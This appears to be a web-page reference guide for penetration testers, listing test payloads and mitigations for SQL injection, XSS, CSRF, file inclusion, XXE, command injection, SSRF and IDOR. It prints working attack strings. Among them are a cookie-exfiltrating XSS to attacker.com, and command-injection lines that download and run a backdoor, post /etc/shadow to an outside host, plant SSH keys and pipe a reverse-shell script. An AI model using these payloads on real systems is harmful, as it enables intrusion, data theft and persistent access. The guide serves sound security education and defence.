Web Security Vulnerabilities Professional Reference Guide

A comprehensive reference guide for security professionals, penetration testers, and developers

15+ Vulnerability Types
200+ Test Cases
Professional Security Reference
Security Operations Center

Security Testing Overview

Professional Purpose

This reference guide is designed for legitimate security testing, penetration testing, and vulnerability assessment activities. All content is provided for educational and professional development purposes.

Testing Methodologies

Covering OWASP Top 10, advanced injection techniques, authentication bypasses, and modern attack vectors used in professional security assessments.

Best Practices

All testing should be performed on authorized systems only. This guide emphasizes responsible disclosure and ethical security practices.

Vulnerability Reference

Comprehensive reference covering common web application vulnerabilities, test cases, and mitigation strategies

SQL Injection

Critical

SQL injection allows attackers to interfere with the queries an application makes to its database, potentially accessing, modifying, or deleting unauthorized data.

Common Test Cases:

' OR 1=1--
"; DELETE FROM users--
" UNION SELECT password FROM users WHERE username = 'admin'--
" OR '1'='1
" OR "1"="1
" OR "a"="a
" AND "a"="b
" OR "a" LIKE "a
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
'; WAITFOR DELAY '0:0:5'--
'; SELECT * FROM sys.tables--

Mitigation Strategies:

  • Use parameterized queries and prepared statements
  • Implement proper input validation and sanitization
  • Apply principle of least privilege to database users
  • Use stored procedures with proper parameterization
  • Enable SQL query logging and monitoring
  • Use web application firewalls (WAF) with SQL injection rules

Cross-Site Scripting (XSS)

High

XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session tokens, cookies, or performing actions on behalf of the user.

Common Test Cases:

<script>alert("XSS")</script>
<script>alert(document.cookie)</script>
<img src="x" onerror="alert(document.cookie)">
<a href="javascript:alert(document.cookie)">Click Here</a>
<svg onload=alert(document.domain)>
<script>fetch('//attacker.com/xss?data='+document.cookie)</script>

Mitigation Strategies:

  • Implement Content Security Policy (CSP) headers
  • Encode output based on context (HTML, JavaScript, URL)
  • Use modern frameworks with built-in XSS protection
  • Validate and sanitize all user input
  • Use HTTP-only and Secure cookie flags
  • Implement proper input validation on both client and server

Cross-Site Request Forgery (CSRF)

High

CSRF attacks force authenticated users to submit unwanted requests to web applications where they're currently logged in.

Common Test Cases:

<img src="http://example.com/transfer.php?amount=1000&to=attacker_account" />

<form action="http://example.com/transfer.php" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to" value="attacker_account">
    <input type="submit" value="Submit request">
</form>

Mitigation Strategies:

  • Implement CSRF tokens for state-changing operations
  • Use SameSite cookie attributes
  • Validate Referer and Origin headers
  • Implement double-submit cookie pattern
  • Use custom request headers for API endpoints
  • Implement proper authentication for sensitive operations

Local File Inclusion (LFI)

High

LFI vulnerabilities allow attackers to include files on a server through the web browser, potentially leading to information disclosure or code execution.

Common Test Cases:

../../../etc/passwd
../../../etc/shadow
/proc/self/environ%00
../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../Windows/win.ini%00
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
expect://ls

Mitigation Strategies:

  • Use allowlists for file inclusion
  • Validate and sanitize file paths
  • Disable dangerous PHP functions
  • Use proper file permissions
  • Implement proper error handling
  • Use chroot or jail environments

XML External Entity (XXE)

High

XXE vulnerabilities allow attackers to interfere with an application's processing of XML data, potentially accessing internal files or making network requests.

Common Test Cases:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://evil.com/exploit">
]>
<foo>&xxe;</foo>

Mitigation Strategies:

  • Disable XML external entity processing
  • Use modern XML parsers with secure defaults
  • Validate XML input against strict schemas
  • Consider using JSON instead of XML
  • Implement proper input validation
  • Use sandboxed XML processing environments

Command Injection

Critical

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands on the host operating system via a vulnerable application. This attack is possible when an application passes unsafe user supplied data to a system shell.

Common Test Cases:

; cat /etc/passwd
&& wget http://malicious.com/backdoor -O /tmp/backdoor && chmod +x /tmp/backdoor && /tmp/backdoor
| base64 /etc/shadow | curl -X POST -d @- http://attacker.com/exfil
`echo 'ssh-rsa AAAAB...' >> ~/.ssh/authorized_keys`
$(curl http://attacker.com/reverse_shell.sh | sh)

Mitigation Strategies:

  • Avoid using system commands with user input
  • Use parameterized commands or APIs
  • Implement strict input validation and sanitization
  • Use proper escaping and encoding
  • Run applications with least privilege

Server-Side Request Forgery (SSRF)

Critical

Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

Common Test Cases:

http://localhost:8080/admin
http://127.0.0.1:3306
http://10.0.0.0/8
http://[::1]:22
file:///etc/passwd
dict://attacker:11111/
gopher://127.0.0.1:9000/_GET%20/secret%20HTTP/1.1

Mitigation Strategies:

  • Validate and sanitize all user-supplied URLs
  • Implement URL allowlists and blocklists
  • Disable unnecessary URL schemes (file://, dict://, etc.)
  • Use network segmentation to isolate internal services
  • Implement proper error handling without information disclosure

Insecure Direct Object References (IDOR)

High

IDOR vulnerabilities occur when applications expose internal object references without proper access control, allowing attackers to access unauthorized resources.

Common Test Cases:

http://foo.bar/viewuser?id=1
http://foo.bar/api/v1/users/12345/profile
http://foo.bar/download?file=invoice_12345.pdf
http://foo.bar/admin/edit_user?id=ADMIN_001
http://foo.bar/analytics/report?company_id=COMP_1234

Mitigation Strategies:

  • Implement proper access control checks
  • Use indirect object references instead of direct ones
  • Validate user permissions for each resource access
  • Implement rate limiting to prevent enumeration
  • Use UUIDs or random identifiers instead of sequential IDs
  • Implement proper authentication and authorization

Testing Methodologies

OWASP Testing Guide

Comprehensive testing framework covering all aspects of web application security testing.

  • Information Gathering
  • Authentication Testing
  • Session Management Testing
  • Input Validation Testing
  • Error Handling Testing

Penetration Testing Methodology

Systematic approach to security testing with clear phases and objectives.

  • Planning and Reconnaissance
  • Scanning and Enumeration
  • Vulnerability Analysis
  • Exploitation
  • Reporting and Documentation

DevSecOps Integration

Integrating security testing into the development lifecycle.

  • Static Application Security Testing (SAST)
  • Dynamic Application Security Testing (DAST)
  • Interactive Application Security Testing (IAST)
  • Software Composition Analysis (SCA)
  • Container Security Scanning

Additional Resources

OWASP Foundation

Official OWASP resources and documentation

NIST Cybersecurity Framework

National standards for cybersecurity

SANS Institute

Security training and certification resources

CWE/SANS Top 25

Most dangerous software weaknesses

PTES Standards

Penetration Testing Execution Standard

MITRE ATT&CK

Adversarial tactics and techniques knowledge base